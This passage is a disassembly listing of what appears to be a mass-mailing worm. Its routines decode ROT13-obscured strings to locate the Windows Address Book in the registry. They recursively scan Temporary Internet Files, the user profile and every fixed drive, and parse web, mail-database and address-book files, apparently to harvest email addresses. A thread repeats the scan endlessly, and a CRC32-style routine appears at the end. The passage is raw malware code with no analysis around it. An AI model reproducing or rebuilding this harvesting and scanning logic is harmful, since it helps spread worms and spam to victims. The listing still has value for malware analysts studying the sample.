  6543.         push    ebx        ; dwNumberOfBytesToMap
  6544.         push    ebx        ; dwFileOffsetLow
  6545.         push    ebx        ; dwFileOffsetHigh
  6546.         push    4        ; dwDesiredAccess
  6547.         push    eax        ; hFileMappingObject
  6548.         call    ds:MapViewOfFile
  6549.         mov    edi, eax
  6550.         cmp    edi, ebx
  6551.         jnz    short loc_4A6019
  6552.         push    3
  6553.         pop    ebx
  6554.         jmp    short loc_4A607F
  6555. ; ───────────────────────────────────────────────────────────────────────────
  6556.  
  6557. loc_4A6019:                ; CODE XREF: sub_4A5F97+7Bj
  6558.         mov    eax, [edi+64h]
  6559.         mov    ecx, [edi+60h]
  6560.         cmp    eax, ebx
  6561.         jbe    short loc_4A6078
  6562.         mov    [ebp+70h], ecx
  6563.         mov    [ebp+6Ch], eax
  6564.  
  6565. loc_4A6029:                ; CODE XREF: sub_4A5F97+DFj
  6566.         mov    esi, [ebp+70h]
  6567.         push    80h
  6568.         lea    eax, [ebp-20h]
  6569.         push    ebx
  6570.         push    eax
  6571.         call    memset
  6572.         mov    ecx, [ebp+68h]
  6573.         add    esp, 0Ch
  6574.         xor    eax, eax
  6575.         cmp    esi, ecx
  6576.         jnb    short loc_4A606F
  6577.  
  6578. loc_4A6047:                ; CODE XREF: sub_4A5F97+C6j
  6579.         cmp    eax, 44h
  6580.         jnb    short loc_4A605F
  6581.         mov    dl, [esi+edi]
  6582.         mov    [ebp+eax-20h], dl
  6583.         cmp    [esi+edi], bl
  6584.         jz    short loc_4A605F
  6585.         inc    eax
  6586.         inc    esi
  6587.         inc    esi
  6588.         cmp    esi, ecx
  6589.         jb    short loc_4A6047
  6590.  
  6591. loc_4A605F:                ; CODE XREF: sub_4A5F97+B3j
  6592.                     ; sub_4A5F97+BFj
  6593.         cmp    eax, ebx
  6594.         jbe    short loc_4A606F
  6595.         lea    eax, [ebp-20h]
  6596.         push    ebx
  6597.         push    eax
  6598.         call    sub_4A5788
  6599.         pop    ecx
  6600.         pop    ecx
  6601.  
  6602. loc_4A606F:                ; CODE XREF: sub_4A5F97+AEj
  6603.                     ; sub_4A5F97+CAj
  6604.         add    dword ptr [ebp+70h], 44h
  6605.         dec    dword ptr [ebp+6Ch]
  6606.         jnz    short loc_4A6029
  6607.  
  6608. loc_4A6078:                ; CODE XREF: sub_4A5F97+8Aj
  6609.         push    edi        ; lpBaseAddress
  6610.         call    ds:UnmapViewOfFile
  6611.  
  6612. loc_4A607F:                ; CODE XREF: sub_4A5F97+80j
  6613.         push    dword ptr [ebp+60h] ; hObject
  6614.         call    ds:CloseHandle
  6615.         pop    edi
  6616.  
  6617. loc_4A6089:                ; CODE XREF: sub_4A5F97+102j
  6618.         push    dword ptr [ebp+64h] ; hObject
  6619.         call    ds:CloseHandle
  6620.         mov    eax, ebx
  6621.         jmp    short loc_4A609E
  6622. ; ───────────────────────────────────────────────────────────────────────────
  6623.  
  6624. loc_4A6096:                ; CODE XREF: sub_4A5F97+5Bj
  6625.                     ; sub_4A5F97+64j
  6626.         push    2
  6627.         pop    ebx
  6628.         jmp    short loc_4A6089
  6629. ; ───────────────────────────────────────────────────────────────────────────
  6630.  
  6631. loc_4A609B:                ; CODE XREF: sub_4A5F97+2Fj
  6632.                     ; sub_4A5F97+38j
  6633.         xor    eax, eax
  6634.         inc    eax
  6635.  
  6636. loc_4A609E:                ; CODE XREF: sub_4A5F97+FDj
  6637.         pop    esi
  6638.         pop    ebx
  6639.         add    ebp, 74h
  6640.         leave
  6641.         retn
  6642. sub_4A5F97    endp
  6643.  
  6644.  
  6645. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  6646.  
  6647. ; Attributes: bp-based frame
  6648.  
  6649. sub_4A60A5    proc near        ; CODE XREF: sub_4A6645p
  6650.  
  6651. Data        = byte ptr -158h
  6652. SubKey        = byte ptr -58h
  6653. cbData        = dword    ptr -8
  6654. hKey        = dword    ptr -4
  6655.  
  6656.         push    ebp
  6657.         mov    ebp, esp
  6658.         sub    esp, 158h
  6659.         push    ebx
  6660.         lea    eax, [ebp+SubKey]
  6661.         push    offset aFbsgjnerZvpe_1 ; "Fbsgjner\\Zvpebfbsg\\JNO\\JNO4\\Jno Svyr An"...
  6662.         push    eax
  6663.         call    sub_4A465E
  6664.         pop    ecx
  6665.         lea    eax, [ebp+hKey]
  6666.         pop    ecx
  6667.         xor    ebx, ebx
  6668.         push    eax        ; phkResult
  6669.         push    20019h        ; samDesired
  6670.         lea    eax, [ebp+SubKey]
  6671.         push    ebx        ; ulOptions
  6672.         push    eax        ; lpSubKey
  6673.         push    80000001h    ; hKey
  6674.         call    ds:RegOpenKeyExA
  6675.         test    eax, eax
  6676.         jnz    short loc_4A612F
  6677.         push    100h
  6678.         lea    eax, [ebp+Data]
  6679.         push    ebx
  6680.         push    eax
  6681.         call    memset
  6682.         add    esp, 0Ch
  6683.         lea    eax, [ebp+cbData]
  6684.         mov    [ebp+cbData], 100h
  6685.         push    eax        ; lpcbData
  6686.         lea    eax, [ebp+Data]
  6687.         push    eax        ; lpData
  6688.         push    ebx        ; lpType
  6689.         push    ebx        ; lpReserved
  6690.         push    ebx        ; lpValueName
  6691.         push    [ebp+hKey]    ; hKey
  6692.         call    ds:RegQueryValueExA
  6693.         push    [ebp+hKey]
  6694.         call    ds:RegCloseKey
  6695.         cmp    [ebp+Data], bl
  6696.         jz    short loc_4A612F
  6697.         lea    eax, [ebp+Data]
  6698.         push    eax
  6699.         call    sub_4A5F97
  6700.         pop    ecx
  6701.  
  6702. loc_4A612F:                ; CODE XREF: sub_4A60A5+37j
  6703.                     ; sub_4A60A5+7Bj
  6704.         pop    ebx
  6705.         leave
  6706.         retn
  6707. sub_4A60A5    endp
  6708.  
  6709.  
  6710. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  6711.  
  6712.  
  6713. sub_4A6132    proc near        ; CODE XREF: main+84p
  6714.         mov    ds:dword_4A83C8, 0
  6715.         retn
  6716. sub_4A6132    endp
  6717.  
  6718.  
  6719. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  6720.  
  6721.  
  6722. sub_4A613D    proc near        ; CODE XREF: .text:004A5BABp
  6723.                     ; .text:004A5BCDp ...
  6724.  
  6725. arg_0        = dword    ptr  4
  6726.  
  6727.         mov    eax, [esp+arg_0]
  6728.         mov    ds:dword_4A83C8, eax
  6729.         retn
  6730. sub_4A613D    endp
  6731.  
  6732.  
  6733. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  6734.  
  6735. ; Attributes: bp-based frame
  6736.  
  6737. sub_4A6147    proc near        ; CODE XREF: sub_4A630C+17Ep
  6738.  
  6739. String1        = byte ptr -18h
  6740. var_8        = dword    ptr -8
  6741. var_4        = dword    ptr -4
  6742. arg_0        = dword    ptr  8
  6743.  
  6744.         push    ebp
  6745.         mov    ebp, esp
  6746.         sub    esp, 18h
  6747.         cmp    dword ptr [esi+20h], 28h
  6748.         jb    locret_4A630A
  6749.         xor    eax, eax
  6750.         or    ecx, 0FFFFFFFFh
  6751.         cmp    [esi+2Ch], al
  6752.         jz    short loc_4A617D
  6753.  
  6754. loc_4A6161:                ; CODE XREF: sub_4A6147+30j
  6755.         cmp    eax, 0FFh
  6756.         jge    short loc_4A6179
  6757.         cmp    byte ptr [esi+eax+2Ch],    2Eh
  6758.         jnz    short loc_4A6171
  6759.         mov    ecx, eax
  6760.  
  6761. loc_4A6171:                ; CODE XREF: sub_4A6147+26j
  6762.         inc    eax
  6763.         cmp    byte ptr [esi+eax+2Ch],    0
  6764.         jnz    short loc_4A6161
  6765.  
  6766. loc_4A6179:                ; CODE XREF: sub_4A6147+1Fj
  6767.         test    ecx, ecx
  6768.         jge    short loc_4A6183
  6769.  
  6770. loc_4A617D:                ; CODE XREF: sub_4A6147+18j
  6771.         and    [ebp+String1], 0
  6772.         jmp    short loc_4A619E
  6773. ; ───────────────────────────────────────────────────────────────────────────
  6774.  
  6775. loc_4A6183:                ; CODE XREF: sub_4A6147+34j
  6776.         lea    eax, [ecx+esi+2Dh]
  6777.         push    0Fh        ; iMaxLength
  6778.         push    eax        ; lpString2
  6779.         lea    eax, [ebp+String1]
  6780.         push    eax        ; lpString1
  6781.         call    ds:lstrcpynA
  6782.         lea    eax, [ebp+String1]
  6783.         push    eax        ; lpsz
  6784.         call    ds:CharLowerA
  6785.  
  6786. loc_4A619E:                ; CODE XREF: sub_4A6147+3Aj
  6787.         and    [ebp+var_8], 0
  6788.         cmp    [ebp+String1], 0
  6789.         push    ebx
  6790.         push    edi
  6791.         mov    [ebp+var_4], 32000h
  6792.         jnz    short loc_4A61BE
  6793.         cmp    dword ptr [esi+20h], 5000h
  6794.         ja    loc_4A62CB
  6795.  
  6796. loc_4A61BE:                ; CODE XREF: sub_4A6147+68j
  6797.         mov    edi, ds:lstrcmpA
  6798.         lea    eax, [ebp+String1]
  6799.         push    offset aTxt    ; lpString2
  6800.         push    eax        ; lpString1
  6801.         mov    [ebp+var_8], 1
  6802.         call    edi ; lstrcmpA
  6803.         test    eax, eax
  6804.         jnz    short loc_4A61E6
  6805.         mov    [ebp+var_4], 14000h
  6806.         jmp    loc_4A62CB
  6807. ; ───────────────────────────────────────────────────────────────────────────
  6808.  
  6809. loc_4A61E6:                ; CODE XREF: sub_4A6147+91j
  6810.         push    3
  6811.         lea    eax, [ebp+String1]
  6812.         pop    ebx
  6813.         push    ebx
  6814.         push    offset aHtmb    ; "htmb"
  6815.         push    eax
  6816.         call    sub_4A42F1
  6817.         add    esp, 0Ch
  6818.         test    eax, eax
  6819.         jz    loc_4A62CB
  6820.         push    ebx
  6821.         lea    eax, [ebp+String1]
  6822.         push    offset aShtl    ; "shtl"
  6823.         push    eax
  6824.         call    sub_4A42F1
  6825.         add    esp, 0Ch
  6826.         test    eax, eax
  6827.         jz    loc_4A62CB
  6828.         push    ebx
  6829.         lea    eax, [ebp+String1]
  6830.         push    offset aPhpq    ; "phpq"
  6831.         push    eax
  6832.         call    sub_4A42F1
  6833.         add    esp, 0Ch
  6834.         test    eax, eax
  6835.         jz    loc_4A62CB
  6836.         push    ebx
  6837.         lea    eax, [ebp+String1]
  6838.         push    offset aAspd    ; "aspd"
  6839.         push    eax
  6840.         call    sub_4A42F1
  6841.         add    esp, 0Ch
  6842.         test    eax, eax
  6843.         jz    short loc_4A62CB
  6844.         push    ebx
  6845.         lea    eax, [ebp+String1]
  6846.         push    offset aDbxn    ; "dbxn"
  6847.         push    eax
  6848.         call    sub_4A42F1
  6849.         add    esp, 0Ch
  6850.         test    eax, eax
  6851.         jz    short loc_4A62CB
  6852.         push    ebx
  6853.         lea    eax, [ebp+String1]
  6854.         push    offset aTbbg    ; "tbbg"
  6855.         push    eax
  6856.         call    sub_4A42F1
  6857.         add    esp, 0Ch
  6858.         test    eax, eax
  6859.         jnz    short loc_4A6282
  6860.         mov    [ebp+var_4], 12C000h
  6861.         jmp    short loc_4A62CB
  6862. ; ───────────────────────────────────────────────────────────────────────────
  6863.  
  6864. loc_4A6282:                ; CODE XREF: sub_4A6147+130j
  6865.         push    ebx
  6866.         lea    eax, [ebp+String1]
  6867.         push    offset aAdbh    ; "adbh"
  6868.         push    eax
  6869.         call    sub_4A42F1
  6870.         add    esp, 0Ch
  6871.         test    eax, eax
  6872.         jz    short loc_4A62CB
  6873.         lea    eax, [ebp+String1]
  6874.         push    offset aPl    ; lpString2
  6875.         push    eax        ; lpString1
  6876.         call    edi ; lstrcmpA
  6877.         test    eax, eax
  6878.         jz    short loc_4A62CB
  6879.         push    ebx
  6880.         lea    eax, [ebp+String1]
  6881.         push    offset aWab    ; "wab"
  6882.         push    eax
  6883.         mov    [ebp+var_8], 2
  6884.         call    sub_4A42F1
  6885.         add    esp, 0Ch
  6886.         test    eax, eax
  6887.         jnz    short loc_4A6308
  6888.         mov    [ebp+var_4], 800000h
  6889.  
  6890. loc_4A62CB:                ; CODE XREF: sub_4A6147+71j
  6891.                     ; sub_4A6147+9Aj ...
  6892.         mov    eax, [ebp+var_4]
  6893.         cmp    [esi+20h], eax
  6894.         ja    short loc_4A6308
  6895.         jmp    short loc_4A62E0
  6896. ; ───────────────────────────────────────────────────────────────────────────
  6897.  
  6898. loc_4A62D5:                ; CODE XREF: sub_4A6147+1A0j
  6899.         push    800h        ; dwMilliseconds
  6900.         call    ds:Sleep
  6901.  
  6902. loc_4A62E0:                ; CODE XREF: sub_4A6147+18Cj
  6903.         cmp    ds:dword_4A83C8, 0
  6904.         jnz    short loc_4A62D5
  6905.         cmp    [ebp+var_8], 1
  6906.         jnz    short loc_4A62F9
  6907.         push    [ebp+arg_0]
  6908.         call    sub_4A5EC8
  6909.         jmp    short loc_4A6307
  6910. ; ───────────────────────────────────────────────────────────────────────────
  6911.  
  6912. loc_4A62F9:                ; CODE XREF: sub_4A6147+1A6j
  6913.         cmp    [ebp+var_8], 2
  6914.         jnz    short loc_4A6308
  6915.         push    [ebp+arg_0]
  6916.         call    sub_4A5F97
  6917.  
  6918. loc_4A6307:                ; CODE XREF: sub_4A6147+1B0j
  6919.         pop    ecx
  6920.  
  6921. loc_4A6308:                ; CODE XREF: sub_4A6147+17Bj
  6922.                     ; sub_4A6147+18Aj ...
  6923.         pop    edi
  6924.         pop    ebx
  6925.  
  6926. locret_4A630A:                ; CODE XREF: sub_4A6147+Aj
  6927.         leave
  6928.         retn
  6929. sub_4A6147    endp
  6930.  
  6931.  
  6932. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  6933.  
  6934. ; Attributes: bp-based frame
  6935.  
  6936. ; int __cdecl sub_4A630C(LPCSTR    lpString2,int)
  6937. sub_4A630C    proc near        ; CODE XREF: sub_4A630C+165p
  6938.                     ; sub_4A64A8+D8p ...
  6939.  
  6940. String2        = byte ptr -25Ch
  6941. String1        = byte ptr -11Ch
  6942. hFindFile    = dword    ptr -4
  6943. lpString2    = dword    ptr  8
  6944. arg_4        = dword    ptr  0Ch
  6945.  
  6946.         push    ebp
  6947.         mov    ebp, esp
  6948.         sub    esp, 25Ch
  6949.         push    esi
  6950.         xor    esi, esi
  6951.         cmp    [ebp+arg_4], esi
  6952.         push    edi
  6953.         jle    short loc_4A632A
  6954.         mov    edi, [ebp+lpString2]
  6955.         cmp    edi, esi
  6956.         jz    short loc_4A632A
  6957.         cmp    byte ptr [edi],    0
  6958.         jnz    short loc_4A633C
  6959.  
  6960. loc_4A632A:                ; CODE XREF: sub_4A630C+10j
  6961.                     ; sub_4A630C+17j
  6962.         xor    eax, eax
  6963.         inc    eax
  6964.  
  6965. loc_4A632D:                ; CODE XREF: sub_4A630C+197j
  6966.         pop    edi
  6967.         pop    esi
  6968.         leave
  6969.         retn
  6970. ; ───────────────────────────────────────────────────────────────────────────
  6971.  
  6972. loc_4A6331:                ; CODE XREF: sub_4A630C+36j
  6973.         push    800h        ; dwMilliseconds
  6974.         call    ds:Sleep
  6975.  
  6976. loc_4A633C:                ; CODE XREF: sub_4A630C+1Cj
  6977.         cmp    ds:dword_4A83C8, esi
  6978.         jnz    short loc_4A6331
  6979.         push    ebx
  6980.         mov    ebx, ds:lstrcpyA
  6981.         lea    eax, [ebp+String1]
  6982.         push    edi        ; lpString2
  6983.         push    eax        ; lpString1
  6984.         call    ebx ; lstrcpyA
  6985.         lea    eax, [ebp+String1]
  6986.         lea    edi, [ebp+String1]
  6987.         push    eax        ; lpString
  6988.         dec    edi
  6989.         call    ds:lstrlenA
  6990.         cmp    byte ptr [eax+edi], 5Ch
  6991.         jz    short loc_4A6381
  6992.         lea    eax, [ebp+String1]
  6993.         push    offset String2    ; lpString2
  6994.         push    eax        ; lpString1
  6995.         call    ds:lstrcatA
  6996.  
  6997. loc_4A6381:                ; CODE XREF: sub_4A630C+61j
  6998.         lea    eax, [ebp+String1]
  6999.         push    offset a_    ; lpString2
  7000.         push    eax        ; lpString1
  7001.         call    ds:lstrcatA
  7002.         push    140h
  7003.         lea    eax, [ebp+String2]
  7004.         push    esi
  7005.         push    eax
  7006.         call    memset
  7007.         add    esp, 0Ch
  7008.         mov    [ebp+hFindFile], esi
  7009.  
  7010. loc_4A63AB:                ; CODE XREF: sub_4A630C+EFj
  7011.                     ; sub_4A630C+101j ...
  7012.         cmp    [ebp+hFindFile], esi
  7013.         lea    eax, [ebp+String2]
  7014.         push    eax        ; lpFindFileData
  7015.         jnz    short loc_4A63DA
  7016.         lea    eax, [ebp+String1]
  7017.         push    eax        ; lpFileName
  7018.         call    ds:FindFirstFileA
  7019.         cmp    eax, 0FFFFFFFFh
  7020.         mov    [ebp+hFindFile], eax
  7021.         jnz    short loc_4A63CF
  7022.         mov    [ebp+hFindFile], esi
  7023.  
  7024. loc_4A63CF:                ; CODE XREF: sub_4A630C+BEj
  7025.         cmp    [ebp+hFindFile], esi
  7026.         jz    loc_4A64A0
  7027.         jmp    short loc_4A63EB ; lpFindFileData
  7028. ; ───────────────────────────────────────────────────────────────────────────
  7029.  
  7030. loc_4A63DA:                ; CODE XREF: sub_4A630C+A9j
  7031.         push    [ebp+hFindFile]    ; hFindFile
  7032.         call    ds:FindNextFileA
  7033.         test    eax, eax
  7034.         jz    loc_4A6497
  7035.  
  7036. loc_4A63EB:                ; CODE XREF: sub_4A630C+CCj
  7037.         cmp    byte ptr [ebp-230h], 2Eh
  7038.         jnz    short loc_4A640F
  7039.         cmp    byte ptr [ebp-22Fh], 0
  7040.         jz    short loc_4A63AB
  7041.         cmp    byte ptr [ebp-22Fh], 2Eh
  7042.         jnz    short loc_4A640F
  7043.         cmp    byte ptr [ebp-22Eh], 0
  7044.         jz    short loc_4A63AB
  7045.  
  7046. loc_4A640F:                ; CODE XREF: sub_4A630C+E6j
  7047.                     ; sub_4A630C+F8j
  7048.         push    [ebp+lpString2]    ; lpString2
  7049.         lea    eax, [ebp+String1]
  7050.         push    eax        ; lpString1
  7051.         call    ebx ; lstrcpyA
  7052.         lea    eax, [ebp+String1]
  7053.         push    eax        ; lpString
  7054.         call    ds:lstrlenA
  7055.         cmp    byte ptr [eax+edi], 5Ch
  7056.         jz    short loc_4A6440
  7057.         lea    eax, [ebp+String1]
  7058.         push    offset String2    ; lpString2
  7059.         push    eax        ; lpString1
  7060.         call    ds:lstrcatA
  7061.  
  7062. loc_4A6440:                ; CODE XREF: sub_4A630C+120j
  7063.         lea    eax, [ebp-230h]
  7064.         push    eax        ; lpString2
  7065.         lea    eax, [ebp+String1]
  7066.         push    eax        ; lpString1
  7067.         call    ds:lstrcatA
  7068.         test    [ebp+String2], 10h
  7069.         jz    short loc_4A647D
  7070.         push    4Bh        ; dwMilliseconds
  7071.         call    ds:Sleep
  7072.         mov    eax, [ebp+arg_4]
  7073.         dec    eax
  7074.         push    eax        ; int
  7075.         lea    eax, [ebp+String1]
  7076.         push    eax        ; lpString2
  7077.         call    sub_4A630C
  7078.         pop    ecx
  7079.         pop    ecx
  7080.         jmp    loc_4A63AB
  7081. ; ───────────────────────────────────────────────────────────────────────────
  7082.  
  7083. loc_4A647D:                ; CODE XREF: sub_4A630C+14Fj
  7084.         lea    eax, [ebp+String1]
  7085.         lea    esi, [ebp+String2]
  7086.         push    eax
  7087.         call    sub_4A6147
  7088.         pop    ecx
  7089.         xor    esi, esi
  7090.         jmp    loc_4A63AB
  7091. ; ───────────────────────────────────────────────────────────────────────────
  7092.  
  7093. loc_4A6497:                ; CODE XREF: sub_4A630C+D9j
  7094.         push    [ebp+hFindFile]    ; hFindFile
  7095.         call    ds:FindClose
  7096.  
  7097. loc_4A64A0:                ; CODE XREF: sub_4A630C+C6j
  7098.         xor    eax, eax
  7099.         pop    ebx
  7100.         jmp    loc_4A632D
  7101. sub_4A630C    endp
  7102.  
  7103.  
  7104. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  7105.  
  7106. ; Attributes: bp-based frame
  7107.  
  7108. sub_4A64A8    proc near        ; CODE XREF: sub_4A6645+14p
  7109.  
  7110. String1        = byte ptr -208h
  7111. var_84        = byte ptr -84h
  7112. String2        = byte ptr -44h
  7113. var_4        = dword    ptr -4
  7114.  
  7115.         push    ebp
  7116.         mov    ebp, esp
  7117.         sub    esp, 208h
  7118.         push    ebx
  7119.         push    esi
  7120.         push    edi
  7121.         lea    eax, [ebp+var_84]
  7122.         push    offset aGrzcbenelVagre ; "Grzcbenel Vagrearg Svyrf"
  7123.         push    eax
  7124.         call    sub_4A465E
  7125.         lea    eax, [ebp+String2]
  7126.         push    offset aYbpnyFrggvatf ;    "Ybpny Frggvatf"
  7127.         push    eax
  7128.         call    sub_4A465E
  7129.         mov    edi, ds:lstrcatA
  7130.         add    esp, 10h
  7131.         and    [ebp+var_4], 0
  7132.         mov    esi, 184h
  7133.         mov    ebx, offset String2
  7134.  
  7135. loc_4A64EA:                ; CODE XREF: sub_4A64A8+E6j
  7136.         push    esi
  7137.         lea    eax, [ebp+String1]
  7138.         push    0
  7139.         push    eax
  7140.         call    memset
  7141.         add    esp, 0Ch
  7142.         cmp    [ebp+var_4], 0
  7143.         lea    eax, [ebp+String1]
  7144.         push    esi        ; uSize
  7145.         push    eax        ; lpBuffer
  7146.         jnz    short loc_4A6512
  7147.         call    ds:GetWindowsDirectoryA
  7148.         jmp    short loc_4A651D ; lpBuffer
  7149. ; ───────────────────────────────────────────────────────────────────────────
  7150.  
  7151. loc_4A6512:                ; CODE XREF: sub_4A64A8+60j
  7152.         push    offset aUserprofile ; lpName
  7153.         call    ds:GetEnvironmentVariableA
  7154.  
  7155. loc_4A651D:                ; CODE XREF: sub_4A64A8+68j
  7156.         cmp    [ebp+String1], 0
  7157.         jz    short loc_4A6587
  7158.         lea    eax, [ebp+String1]
  7159.         push    eax        ; lpString
  7160.         call    ds:lstrlenA
  7161.         lea    ecx, [ebp+String1]
  7162.         dec    ecx
  7163.         cmp    byte ptr [eax+ecx], 5Ch
  7164.         jz    short loc_4A654A
  7165.         lea    eax, [ebp+String1]
  7166.         push    ebx        ; lpString2
  7167.         push    eax        ; lpString1
  7168.         call    edi ; lstrcatA
  7169.  
  7170. loc_4A654A:                ; CODE XREF: sub_4A64A8+96j
  7171.         cmp    [ebp+var_4], 1
  7172.         jnz    short loc_4A6567
  7173.         lea    eax, [ebp+String2]
  7174.         push    eax        ; lpString2
  7175.         lea    eax, [ebp+String1]
  7176.         push    eax        ; lpString1
  7177.         call    edi ; lstrcatA
  7178.         lea    eax, [ebp+String1]
  7179.         push    ebx        ; lpString2
  7180.         push    eax        ; lpString1
  7181.         call    edi ; lstrcatA
  7182.  
  7183. loc_4A6567:                ; CODE XREF: sub_4A64A8+A6j
  7184.         lea    eax, [ebp+var_84]
  7185.         push    eax        ; lpString2
  7186.         lea    eax, [ebp+String1]
  7187.         push    eax        ; lpString1
  7188.         call    edi ; lstrcatA
  7189.         lea    eax, [ebp+String1]
  7190.         push    5        ; int
  7191.         push    eax        ; lpString2
  7192.         call    sub_4A630C
  7193.         pop    ecx
  7194.         pop    ecx
  7195.  
  7196. loc_4A6587:                ; CODE XREF: sub_4A64A8+7Cj
  7197.         inc    [ebp+var_4]
  7198.         cmp    [ebp+var_4], 2
  7199.         jl    loc_4A64EA
  7200.         pop    edi
  7201.         pop    esi
  7202.         pop    ebx
  7203.         leave
  7204.         retn
  7205. sub_4A64A8    endp
  7206.  
  7207.  
  7208. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  7209.  
  7210. ; Attributes: bp-based frame
  7211.  
  7212. sub_4A6599    proc near        ; CODE XREF: sub_4A6645+19p
  7213.  
  7214. String2        = byte ptr -104h
  7215. String1        = byte ptr -103h
  7216.  
  7217.         push    ebp
  7218.         mov    ebp, esp
  7219.         sub    esp, 104h
  7220.         push    ebx
  7221.         push    esi
  7222.         mov    esi, 104h
  7223.         lea    eax, [ebp+String2]
  7224.         push    esi
  7225.         push    0
  7226.         push    eax
  7227.         call    memset
  7228.         add    esp, 0Ch
  7229.         lea    eax, [ebp+String2]
  7230.         push    esi        ; uSize
  7231.         push    eax        ; lpBuffer
  7232.         call    ds:GetSystemDirectoryA
  7233.         mov    bl, [ebp+String2]
  7234.         lea    eax, [ebp+String1]
  7235.         push    offset asc_4A2E6C ; lpString2
  7236.         push    eax        ; lpString1
  7237.         call    ds:lstrcpyA
  7238.         lea    eax, [ebp+String2]
  7239.         push    0Fh        ; int
  7240.         push    eax        ; lpString2
  7241.         call    sub_4A630C
  7242.         pop    ecx
  7243.         mov    [ebp+String2], 43h
  7244.         pop    ecx
  7245.  
  7246. loc_4A65F8:                ; CODE XREF: sub_4A6599+A6j
  7247.         cmp    [ebp+String2], bl
  7248.         jz    short loc_4A6632
  7249.         lea    eax, [ebp+String2]
  7250.         push    eax        ; lpRootPathName
  7251.         call    ds:GetDriveTypeA
  7252.         cmp    eax, 3
  7253.         jz    short loc_4A6617
  7254.         cmp    eax, 6
  7255.         jnz    short loc_4A6632
  7256.  
  7257. loc_4A6617:                ; CODE XREF: sub_4A6599+77j
  7258.         push    1FA0h        ; dwMilliseconds
  7259.         call    ds:Sleep
  7260.         lea    eax, [ebp+String2]
  7261.         push    0Fh        ; int
  7262.         push    eax        ; lpString2
  7263.         call    sub_4A630C
  7264.         pop    ecx
  7265.         pop    ecx
  7266.  
  7267. loc_4A6632:                ; CODE XREF: sub_4A6599+65j
  7268.                     ; sub_4A6599+7Cj
  7269.         inc    [ebp+String2]
  7270.         cmp    [ebp+String2], 5Ah
  7271.         jl    short loc_4A65F8
  7272.         pop    esi
  7273.         pop    ebx
  7274.         leave
  7275.         retn
  7276. sub_4A6599    endp
  7277.  
  7278.  
  7279. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  7280.  
  7281.  
  7282. sub_4A6645    proc near        ; CODE XREF: main+89p
  7283.         call    sub_4A60A5
  7284.         push    0FFFFFFFFh    ; nPriority
  7285.         call    ds:GetCurrentThread
  7286.         push    eax        ; hThread
  7287.         call    ds:SetThreadPriority
  7288.         call    sub_4A64A8
  7289.  
  7290. loc_4A665E:                ; CODE XREF: sub_4A6645+29j
  7291.         call    sub_4A6599
  7292.         push    8000h        ; dwMilliseconds
  7293.         call    ds:Sleep
  7294.         jmp    short loc_4A665E
  7295. sub_4A6645    endp
  7296.  
  7297.  
  7298. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  7299.  
  7300. ; Attributes: bp-based frame
  7301.  
  7302. sub_4A6670    proc near        ; CODE XREF: sub_4A67F0+3Cp
  7303.  
  7304. arg_0        = dword    ptr  8
  7305. arg_4        = dword    ptr  0Ch
  7306. arg_8        = dword    ptr  10h
  7307.  
  7308.         push    ebp
  7309.         mov    ebp, esp
  7310.         mov    edx, [ebp+arg_4]
  7311.         test    edx, edx
  7312.         jnz    short loc_4A667E
  7313.         xor    eax, eax
  7314.         pop    ebp
  7315.         retn
  7316. ; ───────────────────────────────────────────────────────────────────────────
  7317.  
  7318. loc_4A667E:                ; CODE XREF: sub_4A6670+8j
  7319.         push    esi
  7320.         mov    esi, [ebp+arg_0]
  7321.         push    edi
  7322.         mov    edi, [ebp+arg_8]
  7323.         cmp    edi, 8
  7324.         mov    ecx, 0FFh
  7325.         not    esi
  7326.         jl    loc_4A674B
  7327.         mov    eax, edi
  7328.         push    ebx
  7329.         shr    eax, 3
  7330.         mov    ebx, eax
  7331.         neg    ebx
  7332.         lea    edi, [edi+ebx*8]
  7333.         mov    [ebp+arg_8], edi
  7334.  
  7335. loc_4A66A6:                ; CODE XREF: sub_4A6670+D1j
  7336.         mov    bl, [edx]
  7337.         mov    edi, esi
  7338.         xor    ebx, esi
  7339.         and    ebx, ecx
  7340.         shr    edi, 8
  7341.         mov    esi, ds:dword_4A2E70[ebx*4]
  7342.         xor    esi, edi
  7343.         inc    edx
  7344.         mov    bl, [edx]
  7345.         xor    ebx, esi
  7346.         and    ebx, ecx
  7347.         shr    esi, 8
  7348.         mov    edi, ds:dword_4A2E70[ebx*4]
  7349.         xor    edi, esi
  7350.         inc    edx
  7351.         mov    bl, [edx]
  7352.         xor    ebx, edi
  7353.         and    ebx, ecx
  7354.         shr    edi, 8
  7355.         mov    esi, ds:dword_4A2E70[ebx*4]
  7356.         xor    esi, edi
  7357.         inc    edx
  7358.         mov    bl, [edx]
  7359.         xor    ebx, esi
  7360.         and    ebx, ecx
  7361.         shr    esi, 8
  7362.         mov    edi, ds:dword_4A2E70[ebx*4]
  7363.         xor    edi, esi
  7364.         inc    edx
  7365.         mov    bl, [edx]
  7366.         xor    ebx, edi
  7367.         and    ebx, ecx
  7368.         shr    edi, 8
  7369.         mov    esi, ds:dword_4A2E70[ebx*4]
  7370.         xor    esi, edi
  7371.         inc    edx
  7372.         mov    bl, [edx]
  7373.         xor    ebx, esi
  7374.         and    ebx, ecx
  7375.         shr    esi, 8
  7376.         mov    edi, ds:dword_4A2E70[ebx*4]
  7377.         xor    edi, esi
  7378.         inc    edx
  7379.         mov    bl, [edx]
  7380.         xor    ebx, edi
  7381.         and    ebx, ecx
  7382.         shr    edi, 8
  7383.         mov    esi, ds:dword_4A2E70[ebx*4]
  7384.         xor    esi, edi
  7385.         inc    edx
  7386.         mov    bl, [edx]
  7387.         xor    ebx, esi
  7388.         and    ebx, ecx
  7389.         shr    esi, 8
  7390.         mov    edi, ds:dword_4A2E70[ebx*4]
  7391.         xor    esi, edi
  7392.         inc    edx
  7393.         dec    eax
  7394.         jnz    loc_4A66A6
  7395.         mov    edi, [ebp+arg_8]
  7396.         pop    ebx
  7397.  
  7398. loc_4A674B:                ; CODE XREF: sub_4A6670+20j
  7399.         test    edi, edi
  7400.         jz    short loc_4A6765
  7401.  
  7402. loc_4A674F:                ; CODE XREF: sub_4A6670+F3j
  7403.         mov    al, [edx]
  7404.         xor    eax, esi
  7405.         and    eax, ecx
